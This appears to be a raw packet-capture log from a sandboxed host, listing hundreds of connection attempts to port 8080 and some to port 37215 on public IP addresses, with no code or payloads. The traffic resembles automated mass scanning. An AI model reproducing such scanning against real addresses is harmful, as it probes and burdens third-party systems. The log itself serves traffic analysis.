Oct 29, 2024 20:52:38.068666935 CET	56351	8080	192.168.2.13	94.144.219.249
Oct 29, 2024 20:52:38.068679094 CET	56351	8080	192.168.2.13	85.159.82.60
Oct 29, 2024 20:52:38.068696022 CET	46116	37215	192.168.2.13	197.62.222.62
Oct 29, 2024 20:52:38.068733931 CET	56351	8080	192.168.2.13	62.252.79.70
Oct 29, 2024 20:52:38.068751097 CET	56351	8080	192.168.2.13	94.231.255.247
Oct 29, 2024 20:52:38.068758011 CET	56351	8080	192.168.2.13	95.214.157.210
Oct 29, 2024 20:52:38.068764925 CET	56351	8080	192.168.2.13	85.224.41.81
Oct 29, 2024 20:52:38.068806887 CET	56351	8080	192.168.2.13	31.250.229.213
Oct 29, 2024 20:52:38.068819046 CET	56351	8080	192.168.2.13	95.20.16.31
Oct 29, 2024 20:52:38.068825960 CET	56351	8080	192.168.2.13	94.58.116.111
Oct 29, 2024 20:52:38.068831921 CET	56351	8080	192.168.2.13	95.128.57.168
Oct 29, 2024 20:52:38.068846941 CET	56351	8080	192.168.2.13	95.21.104.52
Oct 29, 2024 20:52:38.068862915 CET	56351	8080	192.168.2.13	95.31.252.62
Oct 29, 2024 20:52:38.068892956 CET	56351	8080	192.168.2.13	62.62.114.6
Oct 29, 2024 20:52:38.068917990 CET	56351	8080	192.168.2.13	95.132.112.16
Oct 29, 2024 20:52:38.068933964 CET	56351	8080	192.168.2.13	85.193.166.186
Oct 29, 2024 20:52:38.068948030 CET	56351	8080	192.168.2.13	62.19.120.153
Oct 29, 2024 20:52:38.068977118 CET	56351	8080	192.168.2.13	85.252.43.15
Oct 29, 2024 20:52:38.068986893 CET	56351	8080	192.168.2.13	95.114.135.147
Oct 29, 2024 20:52:38.069010973 CET	56351	8080	192.168.2.13	95.34.96.254
Oct 29, 2024 20:52:38.069010973 CET	56351	8080	192.168.2.13	95.157.133.206
Oct 29, 2024 20:52:38.069024086 CET	56351	8080	192.168.2.13	95.178.40.40
Oct 29, 2024 20:52:38.069061041 CET	56351	8080	192.168.2.13	62.99.249.90
Oct 29, 2024 20:52:38.069078922 CET	56351	8080	192.168.2.13	85.29.98.158
Oct 29, 2024 20:52:38.069081068 CET	56351	8080	192.168.2.13	94.136.169.236
Oct 29, 2024 20:52:38.069104910 CET	56351	8080	192.168.2.13	95.190.184.158
Oct 29, 2024 20:52:38.069104910 CET	56351	8080	192.168.2.13	95.232.55.79
Oct 29, 2024 20:52:38.069117069 CET	56351	8080	192.168.2.13	95.88.147.94
Oct 29, 2024 20:52:38.069118023 CET	56351	8080	192.168.2.13	85.100.196.233
Oct 29, 2024 20:52:38.069124937 CET	56351	8080	192.168.2.13	31.71.227.43
Oct 29, 2024 20:52:38.069160938 CET	56351	8080	192.168.2.13	31.152.142.197
Oct 29, 2024 20:52:38.069180012 CET	56351	8080	192.168.2.13	62.56.208.148
Oct 29, 2024 20:52:38.069180012 CET	56351	8080	192.168.2.13	85.3.140.51
Oct 29, 2024 20:52:38.069181919 CET	56351	8080	192.168.2.13	95.2.68.124
Oct 29, 2024 20:52:38.069200993 CET	56351	8080	192.168.2.13	95.30.32.112
Oct 29, 2024 20:52:38.069212914 CET	56351	8080	192.168.2.13	94.162.240.223
Oct 29, 2024 20:52:38.069221973 CET	56351	8080	192.168.2.13	94.168.24.86
Oct 29, 2024 20:52:38.069248915 CET	56351	8080	192.168.2.13	85.138.40.60
Oct 29, 2024 20:52:38.069263935 CET	56351	8080	192.168.2.13	31.11.230.224
Oct 29, 2024 20:52:38.069273949 CET	56351	8080	192.168.2.13	94.36.12.155
Oct 29, 2024 20:52:38.069273949 CET	56351	8080	192.168.2.13	85.39.205.140
Oct 29, 2024 20:52:38.069314003 CET	56351	8080	192.168.2.13	94.49.28.90
Oct 29, 2024 20:52:38.069334984 CET	56351	8080	192.168.2.13	94.249.31.22
Oct 29, 2024 20:52:38.069341898 CET	56351	8080	192.168.2.13	85.129.220.188
Oct 29, 2024 20:52:38.069348097 CET	56351	8080	192.168.2.13	85.32.216.46
Oct 29, 2024 20:52:38.069366932 CET	56351	8080	192.168.2.13	62.48.3.248
Oct 29, 2024 20:52:38.069366932 CET	56351	8080	192.168.2.13	85.160.75.153
Oct 29, 2024 20:52:38.069421053 CET	56351	8080	192.168.2.13	31.48.62.226
Oct 29, 2024 20:52:38.069433928 CET	56351	8080	192.168.2.13	85.44.226.60
Oct 29, 2024 20:52:38.069436073 CET	56351	8080	192.168.2.13	31.232.0.192
Oct 29, 2024 20:52:38.069437027 CET	56351	8080	192.168.2.13	31.196.6.67
Oct 29, 2024 20:52:38.069444895 CET	56351	8080	192.168.2.13	31.41.82.0
Oct 29, 2024 20:52:38.069489956 CET	56351	8080	192.168.2.13	85.223.193.27
Oct 29, 2024 20:52:38.069504023 CET	56351	8080	192.168.2.13	95.12.96.246
Oct 29, 2024 20:52:38.069510937 CET	56351	8080	192.168.2.13	62.167.110.97
Oct 29, 2024 20:52:38.069514036 CET	56351	8080	192.168.2.13	31.147.29.122
Oct 29, 2024 20:52:38.069521904 CET	56351	8080	192.168.2.13	94.83.31.122
Oct 29, 2024 20:52:38.069534063 CET	56351	8080	192.168.2.13	95.28.216.209
Oct 29, 2024 20:52:38.069564104 CET	56351	8080	192.168.2.13	85.205.60.58
Oct 29, 2024 20:52:38.069586992 CET	56351	8080	192.168.2.13	95.139.245.62
Oct 29, 2024 20:52:38.069592953 CET	56351	8080	192.168.2.13	62.9.112.16
Oct 29, 2024 20:52:38.069610119 CET	56351	8080	192.168.2.13	95.9.206.110
Oct 29, 2024 20:52:38.069622993 CET	56351	8080	192.168.2.13	94.151.220.243
Oct 29, 2024 20:52:38.069655895 CET	56351	8080	192.168.2.13	31.38.37.98
Oct 29, 2024 20:52:38.069667101 CET	56351	8080	192.168.2.13	94.185.199.214
Oct 29, 2024 20:52:38.069670916 CET	56351	8080	192.168.2.13	94.47.57.127
Oct 29, 2024 20:52:38.069693089 CET	56351	8080	192.168.2.13	62.232.217.218
Oct 29, 2024 20:52:38.069694042 CET	56351	8080	192.168.2.13	62.138.134.166
Oct 29, 2024 20:52:38.069698095 CET	56351	8080	192.168.2.13	62.232.175.55
Oct 29, 2024 20:52:38.069714069 CET	56351	8080	192.168.2.13	94.190.104.103
Oct 29, 2024 20:52:38.069751978 CET	56351	8080	192.168.2.13	95.189.203.46
Oct 29, 2024 20:52:38.069767952 CET	56351	8080	192.168.2.13	94.165.187.166
Oct 29, 2024 20:52:38.069780111 CET	56351	8080	192.168.2.13	94.63.105.126
Oct 29, 2024 20:52:38.069789886 CET	56351	8080	192.168.2.13	62.190.95.132
Oct 29, 2024 20:52:38.069798946 CET	56351	8080	192.168.2.13	85.161.167.26
Oct 29, 2024 20:52:38.069843054 CET	56351	8080	192.168.2.13	62.140.127.22
Oct 29, 2024 20:52:38.069875956 CET	56351	8080	192.168.2.13	95.141.182.136
Oct 29, 2024 20:52:38.069879055 CET	56351	8080	192.168.2.13	62.80.57.238
Oct 29, 2024 20:52:38.069897890 CET	56351	8080	192.168.2.13	31.4.135.49
Oct 29, 2024 20:52:38.069899082 CET	56351	8080	192.168.2.13	94.66.186.202
Oct 29, 2024 20:52:38.069899082 CET	56351	8080	192.168.2.13	31.248.114.142
Oct 29, 2024 20:52:38.069907904 CET	56351	8080	192.168.2.13	95.129.59.5
Oct 29, 2024 20:52:38.069957972 CET	56351	8080	192.168.2.13	85.220.153.1
Oct 29, 2024 20:52:38.069983006 CET	56351	8080	192.168.2.13	31.245.36.218
Oct 29, 2024 20:52:38.069983006 CET	56351	8080	192.168.2.13	31.155.131.187
Oct 29, 2024 20:52:38.069991112 CET	56351	8080	192.168.2.13	85.171.114.6
Oct 29, 2024 20:52:38.070012093 CET	56351	8080	192.168.2.13	94.15.36.84
Oct 29, 2024 20:52:38.070030928 CET	56351	8080	192.168.2.13	62.188.23.6
Oct 29, 2024 20:52:38.070050001 CET	56351	8080	192.168.2.13	31.218.110.189
Oct 29, 2024 20:52:38.070055008 CET	56351	8080	192.168.2.13	85.134.96.34
Oct 29, 2024 20:52:38.070070982 CET	56351	8080	192.168.2.13	85.235.85.246
Oct 29, 2024 20:52:38.070095062 CET	56351	8080	192.168.2.13	94.18.47.23
Oct 29, 2024 20:52:38.070112944 CET	56351	8080	192.168.2.13	95.26.223.34
Oct 29, 2024 20:52:38.070128918 CET	56351	8080	192.168.2.13	62.103.252.155
Oct 29, 2024 20:52:38.070133924 CET	56351	8080	192.168.2.13	95.16.124.136
Oct 29, 2024 20:52:38.070158958 CET	56351	8080	192.168.2.13	62.70.56.216
Oct 29, 2024 20:52:38.070194006 CET	56351	8080	192.168.2.13	94.146.81.137
Oct 29, 2024 20:52:38.070195913 CET	56351	8080	192.168.2.13	62.53.113.131
Oct 29, 2024 20:52:38.070215940 CET	56351	8080	192.168.2.13	85.205.226.48
Oct 29, 2024 20:52:38.070225000 CET	56351	8080	192.168.2.13	94.39.247.64
Oct 29, 2024 20:52:38.070229053 CET	56351	8080	192.168.2.13	95.20.194.119
Oct 29, 2024 20:52:38.070230961 CET	56351	8080	192.168.2.13	95.139.198.92
Oct 29, 2024 20:52:38.070274115 CET	56351	8080	192.168.2.13	85.60.149.239
Oct 29, 2024 20:52:38.070297003 CET	56351	8080	192.168.2.13	62.146.249.160
Oct 29, 2024 20:52:38.070314884 CET	56351	8080	192.168.2.13	85.143.22.225
Oct 29, 2024 20:52:38.070314884 CET	56351	8080	192.168.2.13	62.95.156.49
Oct 29, 2024 20:52:38.070337057 CET	56351	8080	192.168.2.13	85.36.221.199
Oct 29, 2024 20:52:38.070357084 CET	56351	8080	192.168.2.13	95.75.26.133
Oct 29, 2024 20:52:38.070358038 CET	56351	8080	192.168.2.13	95.143.53.17
Oct 29, 2024 20:52:38.070362091 CET	56351	8080	192.168.2.13	95.227.36.74
Oct 29, 2024 20:52:38.070399046 CET	56351	8080	192.168.2.13	94.128.197.212
Oct 29, 2024 20:52:38.070399046 CET	56351	8080	192.168.2.13	94.100.70.59
Oct 29, 2024 20:52:38.070399046 CET	56351	8080	192.168.2.13	94.141.209.110
Oct 29, 2024 20:52:38.070399046 CET	56351	8080	192.168.2.13	85.253.49.155
Oct 29, 2024 20:52:38.070401907 CET	56351	8080	192.168.2.13	62.213.87.217
Oct 29, 2024 20:52:38.070401907 CET	56351	8080	192.168.2.13	85.215.188.36
Oct 29, 2024 20:52:38.070405960 CET	56351	8080	192.168.2.13	62.83.138.249
Oct 29, 2024 20:52:38.070415974 CET	56351	8080	192.168.2.13	62.174.81.120
Oct 29, 2024 20:52:38.070417881 CET	56351	8080	192.168.2.13	94.223.204.49
Oct 29, 2024 20:52:38.070417881 CET	56351	8080	192.168.2.13	31.139.78.70
Oct 29, 2024 20:52:38.070435047 CET	56351	8080	192.168.2.13	62.175.16.98
Oct 29, 2024 20:52:38.070439100 CET	56351	8080	192.168.2.13	31.149.184.155
Oct 29, 2024 20:52:38.070452929 CET	56351	8080	192.168.2.13	94.153.151.195
Oct 29, 2024 20:52:38.070452929 CET	56351	8080	192.168.2.13	62.158.96.242
Oct 29, 2024 20:52:38.070496082 CET	56351	8080	192.168.2.13	85.153.175.69
Oct 29, 2024 20:52:38.070497990 CET	56351	8080	192.168.2.13	31.202.213.47
Oct 29, 2024 20:52:38.070502043 CET	56351	8080	192.168.2.13	95.67.66.120
Oct 29, 2024 20:52:38.070512056 CET	56351	8080	192.168.2.13	31.145.15.244
Oct 29, 2024 20:52:38.070513010 CET	56351	8080	192.168.2.13	95.136.253.42
Oct 29, 2024 20:52:38.070535898 CET	56351	8080	192.168.2.13	85.215.104.130
Oct 29, 2024 20:52:38.070543051 CET	56351	8080	192.168.2.13	31.133.255.168
Oct 29, 2024 20:52:38.070547104 CET	56351	8080	192.168.2.13	85.143.242.12
Oct 29, 2024 20:52:38.070560932 CET	56351	8080	192.168.2.13	62.31.41.94
Oct 29, 2024 20:52:38.070575953 CET	56351	8080	192.168.2.13	94.114.188.196
Oct 29, 2024 20:52:38.070580006 CET	56351	8080	192.168.2.13	31.232.21.139
Oct 29, 2024 20:52:38.070599079 CET	56351	8080	192.168.2.13	31.140.232.227
Oct 29, 2024 20:52:38.070602894 CET	56351	8080	192.168.2.13	62.239.13.248
Oct 29, 2024 20:52:38.070602894 CET	56351	8080	192.168.2.13	62.243.76.136
Oct 29, 2024 20:52:38.070616007 CET	56351	8080	192.168.2.13	95.7.39.14
Oct 29, 2024 20:52:38.070616007 CET	56351	8080	192.168.2.13	31.56.28.205
Oct 29, 2024 20:52:38.070632935 CET	56351	8080	192.168.2.13	94.37.35.80
Oct 29, 2024 20:52:38.070636034 CET	56351	8080	192.168.2.13	62.131.179.126
Oct 29, 2024 20:52:38.070652008 CET	56351	8080	192.168.2.13	85.62.188.54
Oct 29, 2024 20:52:38.070683956 CET	56351	8080	192.168.2.13	85.94.186.183
Oct 29, 2024 20:52:38.070698977 CET	56351	8080	192.168.2.13	62.221.54.5
Oct 29, 2024 20:52:38.070730925 CET	56351	8080	192.168.2.13	85.169.21.212
Oct 29, 2024 20:52:38.070730925 CET	56351	8080	192.168.2.13	62.160.112.77
Oct 29, 2024 20:52:38.070740938 CET	56351	8080	192.168.2.13	85.49.128.18
Oct 29, 2024 20:52:38.070771933 CET	56351	8080	192.168.2.13	94.45.127.132
Oct 29, 2024 20:52:38.070806980 CET	56351	8080	192.168.2.13	31.83.57.110
Oct 29, 2024 20:52:38.070828915 CET	56351	8080	192.168.2.13	94.197.155.37
Oct 29, 2024 20:52:38.070835114 CET	56351	8080	192.168.2.13	31.65.129.25
Oct 29, 2024 20:52:38.070837021 CET	56351	8080	192.168.2.13	95.60.14.24
Oct 29, 2024 20:52:38.070863008 CET	56351	8080	192.168.2.13	94.19.33.130
Oct 29, 2024 20:52:38.070871115 CET	56351	8080	192.168.2.13	85.253.24.204
Oct 29, 2024 20:52:38.070902109 CET	56351	8080	192.168.2.13	95.81.135.152
Oct 29, 2024 20:52:38.070915937 CET	56351	8080	192.168.2.13	94.208.100.132
Oct 29, 2024 20:52:38.070935011 CET	56351	8080	192.168.2.13	85.21.79.30
Oct 29, 2024 20:52:38.070955992 CET	56351	8080	192.168.2.13	85.13.171.86
Oct 29, 2024 20:52:38.070970058 CET	56351	8080	192.168.2.13	31.69.135.228
Oct 29, 2024 20:52:38.071006060 CET	56351	8080	192.168.2.13	62.149.159.137
Oct 29, 2024 20:52:38.071017027 CET	56351	8080	192.168.2.13	94.65.14.249
Oct 29, 2024 20:52:38.071029902 CET	56351	8080	192.168.2.13	85.38.146.132
Oct 29, 2024 20:52:38.071029902 CET	56351	8080	192.168.2.13	62.87.101.207
Oct 29, 2024 20:52:38.071048021 CET	56351	8080	192.168.2.13	31.163.80.145
Oct 29, 2024 20:52:38.071048975 CET	56351	8080	192.168.2.13	31.172.104.250
Oct 29, 2024 20:52:38.071079969 CET	56351	8080	192.168.2.13	31.13.9.145
Oct 29, 2024 20:52:38.071095943 CET	56351	8080	192.168.2.13	94.154.200.129
Oct 29, 2024 20:52:38.071111917 CET	56351	8080	192.168.2.13	94.107.114.141
Oct 29, 2024 20:52:38.071114063 CET	56351	8080	192.168.2.13	94.25.210.157
Oct 29, 2024 20:52:38.071118116 CET	56351	8080	192.168.2.13	31.113.58.168
Oct 29, 2024 20:52:38.071141958 CET	56351	8080	192.168.2.13	85.205.138.6
Oct 29, 2024 20:52:38.071301937 CET	56351	8080	192.168.2.13	94.125.255.156
Oct 29, 2024 20:52:38.071310997 CET	56351	8080	192.168.2.13	31.58.206.36
Oct 29, 2024 20:52:38.071322918 CET	56351	8080	192.168.2.13	95.64.14.51
Oct 29, 2024 20:52:38.071332932 CET	37215	47914	197.139.43.111	192.168.2.13
Oct 29, 2024 20:52:38.071353912 CET	56351	8080	192.168.2.13	95.216.119.241
Oct 29, 2024 20:52:38.071360111 CET	56351	8080	192.168.2.13	95.107.36.53
Oct 29, 2024 20:52:38.071377993 CET	56351	8080	192.168.2.13	94.237.188.40
Oct 29, 2024 20:52:38.071379900 CET	47914	37215	192.168.2.13	197.139.43.111
Oct 29, 2024 20:52:38.071388960 CET	56351	8080	192.168.2.13	85.166.178.187
Oct 29, 2024 20:52:38.071399927 CET	56351	8080	192.168.2.13	94.174.154.84
Oct 29, 2024 20:52:38.071407080 CET	56351	8080	192.168.2.13	85.213.16.229
Oct 29, 2024 20:52:38.071443081 CET	56351	8080	192.168.2.13	62.93.201.228
Oct 29, 2024 20:52:38.071455956 CET	56351	8080	192.168.2.13	85.171.4.175
Oct 29, 2024 20:52:38.071480036 CET	56351	8080	192.168.2.13	62.10.180.104
Oct 29, 2024 20:52:38.071480036 CET	56351	8080	192.168.2.13	31.209.102.212
Oct 29, 2024 20:52:38.071513891 CET	56351	8080	192.168.2.13	94.217.57.72
Oct 29, 2024 20:52:38.071533918 CET	56351	8080	192.168.2.13	85.194.23.206
Oct 29, 2024 20:52:38.071544886 CET	56351	8080	192.168.2.13	85.180.149.147
Oct 29, 2024 20:52:38.071557045 CET	56351	8080	192.168.2.13	85.193.200.15
Oct 29, 2024 20:52:38.071563959 CET	56351	8080	192.168.2.13	85.78.210.169
Oct 29, 2024 20:52:38.071563959 CET	56351	8080	192.168.2.13	95.208.166.116
Oct 29, 2024 20:52:38.071577072 CET	56351	8080	192.168.2.13	62.243.0.123
Oct 29, 2024 20:52:38.071579933 CET	56351	8080	192.168.2.13	94.13.110.47
Oct 29, 2024 20:52:38.071607113 CET	56351	8080	192.168.2.13	94.177.33.193
Oct 29, 2024 20:52:38.071636915 CET	56351	8080	192.168.2.13	94.85.123.139
Oct 29, 2024 20:52:38.071659088 CET	56351	8080	192.168.2.13	85.254.249.189
Oct 29, 2024 20:52:38.071688890 CET	56351	8080	192.168.2.13	94.120.63.226
Oct 29, 2024 20:52:38.071691990 CET	56351	8080	192.168.2.13	31.66.34.243
Oct 29, 2024 20:52:38.071691990 CET	56351	8080	192.168.2.13	62.117.124.71
Oct 29, 2024 20:52:38.071703911 CET	56351	8080	192.168.2.13	31.62.54.173
Oct 29, 2024 20:52:38.071707010 CET	56351	8080	192.168.2.13	85.5.13.106
Oct 29, 2024 20:52:38.071707964 CET	56351	8080	192.168.2.13	95.132.103.199
Oct 29, 2024 20:52:38.071716070 CET	56351	8080	192.168.2.13	85.46.62.235
Oct 29, 2024 20:52:38.071732044 CET	56351	8080	192.168.2.13	62.36.244.105
Oct 29, 2024 20:52:38.071749926 CET	56351	8080	192.168.2.13	95.65.161.86
Oct 29, 2024 20:52:38.071749926 CET	56351	8080	192.168.2.13	85.21.46.169
Oct 29, 2024 20:52:38.071770906 CET	56351	8080	192.168.2.13	62.172.241.63
Oct 29, 2024 20:52:38.071777105 CET	56351	8080	192.168.2.13	85.116.162.112
Oct 29, 2024 20:52:38.071806908 CET	56351	8080	192.168.2.13	85.214.46.47
Oct 29, 2024 20:52:38.071811914 CET	56351	8080	192.168.2.13	31.181.184.168
Oct 29, 2024 20:52:38.071830034 CET	56351	8080	192.168.2.13	31.201.138.30
Oct 29, 2024 20:52:38.071830034 CET	56351	8080	192.168.2.13	62.98.82.84
Oct 29, 2024 20:52:38.071839094 CET	56351	8080	192.168.2.13	85.177.8.31
Oct 29, 2024 20:52:38.071850061 CET	56351	8080	192.168.2.13	62.22.245.87
Oct 29, 2024 20:52:38.071863890 CET	56351	8080	192.168.2.13	31.169.176.228
Oct 29, 2024 20:52:38.071902990 CET	58102	37215	192.168.2.13	197.95.90.227
Oct 29, 2024 20:52:38.071917057 CET	56351	8080	192.168.2.13	95.244.136.17
Oct 29, 2024 20:52:38.071926117 CET	56351	8080	192.168.2.13	95.205.234.145
Oct 29, 2024 20:52:38.071960926 CET	56351	8080	192.168.2.13	85.212.11.168
Oct 29, 2024 20:52:38.071975946 CET	56351	8080	192.168.2.13	31.69.4.12
Oct 29, 2024 20:52:38.071993113 CET	56351	8080	192.168.2.13	95.23.222.93
Oct 29, 2024 20:52:38.071997881 CET	56351	8080	192.168.2.13	95.48.90.231
Oct 29, 2024 20:52:38.072021961 CET	56351	8080	192.168.2.13	95.105.212.223
Oct 29, 2024 20:52:38.072037935 CET	56351	8080	192.168.2.13	62.33.154.110
Oct 29, 2024 20:52:38.072048903 CET	56351	8080	192.168.2.13	95.248.221.190
Oct 29, 2024 20:52:38.072077036 CET	56351	8080	192.168.2.13	95.10.91.158
Oct 29, 2024 20:52:38.072079897 CET	56351	8080	192.168.2.13	95.61.105.195
Oct 29, 2024 20:52:38.072086096 CET	56351	8080	192.168.2.13	95.23.1.102
Oct 29, 2024 20:52:38.072094917 CET	56351	8080	192.168.2.13	95.135.155.78
Oct 29, 2024 20:52:38.072129011 CET	56351	8080	192.168.2.13	95.219.10.149
Oct 29, 2024 20:52:38.072130919 CET	56351	8080	192.168.2.13	95.162.38.68
Oct 29, 2024 20:52:38.072144032 CET	56351	8080	192.168.2.13	94.123.163.68
Oct 29, 2024 20:52:38.072169065 CET	56351	8080	192.168.2.13	31.27.14.37
Oct 29, 2024 20:52:38.072170973 CET	56351	8080	192.168.2.13	62.13.80.79
Oct 29, 2024 20:52:38.072186947 CET	56351	8080	192.168.2.13	95.176.122.159
Oct 29, 2024 20:52:38.072192907 CET	56351	8080	192.168.2.13	85.80.191.148
Oct 29, 2024 20:52:38.072216988 CET	56351	8080	192.168.2.13	62.101.204.25
Oct 29, 2024 20:52:38.072223902 CET	56351	8080	192.168.2.13	95.20.6.17
Oct 29, 2024 20:52:38.072230101 CET	8080	56351	95.191.176.62	192.168.2.13
Oct 29, 2024 20:52:38.072232962 CET	56351	8080	192.168.2.13	85.101.240.63
Oct 29, 2024 20:52:38.072232962 CET	56351	8080	192.168.2.13	31.221.17.239
Oct 29, 2024 20:52:38.072235107 CET	56351	8080	192.168.2.13	94.142.149.212
Oct 29, 2024 20:52:38.072247028 CET	56351	8080	192.168.2.13	85.93.69.15
Oct 29, 2024 20:52:38.072257996 CET	56351	8080	192.168.2.13	94.243.34.140
Oct 29, 2024 20:52:38.072263002 CET	56351	8080	192.168.2.13	95.117.139.24
Oct 29, 2024 20:52:38.072268963 CET	56351	8080	192.168.2.13	95.232.175.95
Oct 29, 2024 20:52:38.072279930 CET	56351	8080	192.168.2.13	95.191.176.62
Oct 29, 2024 20:52:38.072289944 CET	56351	8080	192.168.2.13	95.21.51.19
Oct 29, 2024 20:52:38.072303057 CET	56351	8080	192.168.2.13	95.17.166.53
Oct 29, 2024 20:52:38.072341919 CET	56351	8080	192.168.2.13	31.161.242.237
Oct 29, 2024 20:52:38.072343111 CET	56351	8080	192.168.2.13	62.3.50.57
Oct 29, 2024 20:52:38.072360039 CET	56351	8080	192.168.2.13	94.107.81.78
Oct 29, 2024 20:52:38.072365999 CET	56351	8080	192.168.2.13	31.0.247.191
Oct 29, 2024 20:52:38.072374105 CET	56351	8080	192.168.2.13	31.164.29.89
Oct 29, 2024 20:52:38.072374105 CET	56351	8080	192.168.2.13	62.149.51.56
Oct 29, 2024 20:52:38.072390079 CET	56351	8080	192.168.2.13	94.7.112.176
Oct 29, 2024 20:52:38.072393894 CET	56351	8080	192.168.2.13	95.94.249.255
Oct 29, 2024 20:52:38.072402954 CET	56351	8080	192.168.2.13	31.125.158.188
Oct 29, 2024 20:52:38.072419882 CET	56351	8080	192.168.2.13	85.99.227.105
Oct 29, 2024 20:52:38.072419882 CET	56351	8080	192.168.2.13	62.109.165.89
Oct 29, 2024 20:52:38.072439909 CET	56351	8080	192.168.2.13	94.16.103.123
Oct 29, 2024 20:52:38.072479010 CET	56351	8080	192.168.2.13	85.126.162.247
Oct 29, 2024 20:52:38.072484970 CET	56351	8080	192.168.2.13	62.13.102.105
Oct 29, 2024 20:52:38.072504997 CET	56351	8080	192.168.2.13	85.83.171.31
Oct 29, 2024 20:52:38.072504997 CET	56351	8080	192.168.2.13	95.168.149.65
Oct 29, 2024 20:52:38.072506905 CET	8080	56351	62.118.222.62	192.168.2.13
Oct 29, 2024 20:52:38.072510004 CET	56351	8080	192.168.2.13	94.241.249.90
Oct 29, 2024 20:52:38.072513103 CET	8080	56351	31.10.85.213	192.168.2.13
Oct 29, 2024 20:52:38.072519064 CET	8080	56351	94.181.3.61	192.168.2.13
Oct 29, 2024 20:52:38.072524071 CET	8080	56351	95.53.7.16	192.168.2.13
Oct 29, 2024 20:52:38.072529078 CET	8080	56351	62.141.92.245	192.168.2.13
Oct 29, 2024 20:52:38.072530985 CET	56351	8080	192.168.2.13	31.45.253.163
Oct 29, 2024 20:52:38.072534084 CET	8080	56351	31.120.245.195	192.168.2.13
Oct 29, 2024 20:52:38.072544098 CET	8080	56351	94.30.144.108	192.168.2.13
Oct 29, 2024 20:52:38.072555065 CET	56351	8080	192.168.2.13	62.118.222.62
Oct 29, 2024 20:52:38.072556973 CET	56351	8080	192.168.2.13	94.181.3.61
Oct 29, 2024 20:52:38.072563887 CET	56351	8080	192.168.2.13	94.155.68.152
Oct 29, 2024 20:52:38.072563887 CET	56351	8080	192.168.2.13	95.53.7.16
Oct 29, 2024 20:52:38.072573900 CET	56351	8080	192.168.2.13	62.141.92.245
Oct 29, 2024 20:52:38.072581053 CET	56351	8080	192.168.2.13	31.10.85.213
Oct 29, 2024 20:52:38.072587967 CET	56351	8080	192.168.2.13	94.30.144.108
Oct 29, 2024 20:52:38.072590113 CET	56351	8080	192.168.2.13	31.120.245.195
Oct 29, 2024 20:52:38.072603941 CET	56351	8080	192.168.2.13	95.129.116.120
Oct 29, 2024 20:52:38.072609901 CET	56351	8080	192.168.2.13	62.33.164.103
Oct 29, 2024 20:52:38.072621107 CET	56351	8080	192.168.2.13	31.138.125.161
Oct 29, 2024 20:52:38.072629929 CET	56351	8080	192.168.2.13	85.69.46.195
Oct 29, 2024 20:52:38.072635889 CET	8080	56351	85.59.61.243	192.168.2.13
Oct 29, 2024 20:52:38.072640896 CET	56351	8080	192.168.2.13	31.195.175.90
Oct 29, 2024 20:52:38.072649956 CET	8080	56351	62.208.117.99	192.168.2.13
Oct 29, 2024 20:52:38.072654963 CET	8080	56351	94.166.57.45	192.168.2.13
Oct 29, 2024 20:52:38.072665930 CET	8080	56351	31.128.214.100	192.168.2.13
Oct 29, 2024 20:52:38.072669983 CET	56351	8080	192.168.2.13	85.59.61.243
Oct 29, 2024 20:52:38.072691917 CET	56351	8080	192.168.2.13	94.166.57.45
Oct 29, 2024 20:52:38.072695017 CET	56351	8080	192.168.2.13	62.208.117.99
Oct 29, 2024 20:52:38.072709084 CET	56351	8080	192.168.2.13	31.128.214.100
Oct 29, 2024 20:52:38.072715044 CET	56351	8080	192.168.2.13	85.181.9.135
Oct 29, 2024 20:52:38.072727919 CET	56351	8080	192.168.2.13	95.221.10.220
Oct 29, 2024 20:52:38.072731018 CET	56351	8080	192.168.2.13	85.147.154.207
Oct 29, 2024 20:52:38.072748899 CET	56351	8080	192.168.2.13	31.134.232.69
Oct 29, 2024 20:52:38.072751045 CET	56351	8080	192.168.2.13	95.243.122.57
Oct 29, 2024 20:52:38.072778940 CET	56351	8080	192.168.2.13	94.180.70.54
Oct 29, 2024 20:52:38.072781086 CET	56351	8080	192.168.2.13	62.120.242.185
Oct 29, 2024 20:52:38.072783947 CET	8080	56351	31.44.24.156	192.168.2.13
Oct 29, 2024 20:52:38.072788000 CET	56351	8080	192.168.2.13	95.168.25.249
Oct 29, 2024 20:52:38.072788000 CET	56351	8080	192.168.2.13	31.249.13.26
Oct 29, 2024 20:52:38.072789907 CET	8080	56351	85.45.42.252	192.168.2.13
Oct 29, 2024 20:52:38.072791100 CET	56351	8080	192.168.2.13	95.144.251.115
Oct 29, 2024 20:52:38.072794914 CET	8080	56351	95.98.151.140	192.168.2.13
Oct 29, 2024 20:52:38.072801113 CET	8080	56351	62.166.107.70	192.168.2.13
Oct 29, 2024 20:52:38.072809935 CET	8080	56351	94.111.213.11	192.168.2.13
Oct 29, 2024 20:52:38.072813034 CET	56351	8080	192.168.2.13	85.199.187.118
Oct 29, 2024 20:52:38.072827101 CET	56351	8080	192.168.2.13	85.45.42.252
Oct 29, 2024 20:52:38.072827101 CET	56351	8080	192.168.2.13	31.44.24.156
Oct 29, 2024 20:52:38.072837114 CET	56351	8080	192.168.2.13	95.98.151.140
Oct 29, 2024 20:52:38.072844982 CET	56351	8080	192.168.2.13	94.111.213.11
Oct 29, 2024 20:52:38.072848082 CET	56351	8080	192.168.2.13	62.166.107.70
Oct 29, 2024 20:52:38.072894096 CET	56351	8080	192.168.2.13	62.140.1.174
Oct 29, 2024 20:52:38.072896957 CET	56351	8080	192.168.2.13	94.9.33.124
Oct 29, 2024 20:52:38.072901964 CET	56351	8080	192.168.2.13	85.232.82.220
Oct 29, 2024 20:52:38.072915077 CET	8080	56351	31.192.71.141	192.168.2.13
Oct 29, 2024 20:52:38.072915077 CET	56351	8080	192.168.2.13	31.103.177.69
Oct 29, 2024 20:52:38.072916031 CET	56351	8080	192.168.2.13	85.174.11.94
Oct 29, 2024 20:52:38.072921038 CET	8080	56351	62.3.38.167	192.168.2.13
Oct 29, 2024 20:52:38.072926998 CET	8080	56351	62.182.23.116	192.168.2.13
Oct 29, 2024 20:52:38.072936058 CET	8080	56351	62.85.170.146	192.168.2.13
Oct 29, 2024 20:52:38.072937965 CET	56351	8080	192.168.2.13	31.113.168.230
Oct 29, 2024 20:52:38.072938919 CET	56351	8080	192.168.2.13	94.91.76.179
Oct 29, 2024 20:52:38.072957039 CET	56351	8080	192.168.2.13	31.192.71.141
Oct 29, 2024 20:52:38.072959900 CET	56351	8080	192.168.2.13	62.182.23.116
Oct 29, 2024 20:52:38.072961092 CET	56351	8080	192.168.2.13	62.3.38.167
Oct 29, 2024 20:52:38.072973967 CET	56351	8080	192.168.2.13	62.85.170.146
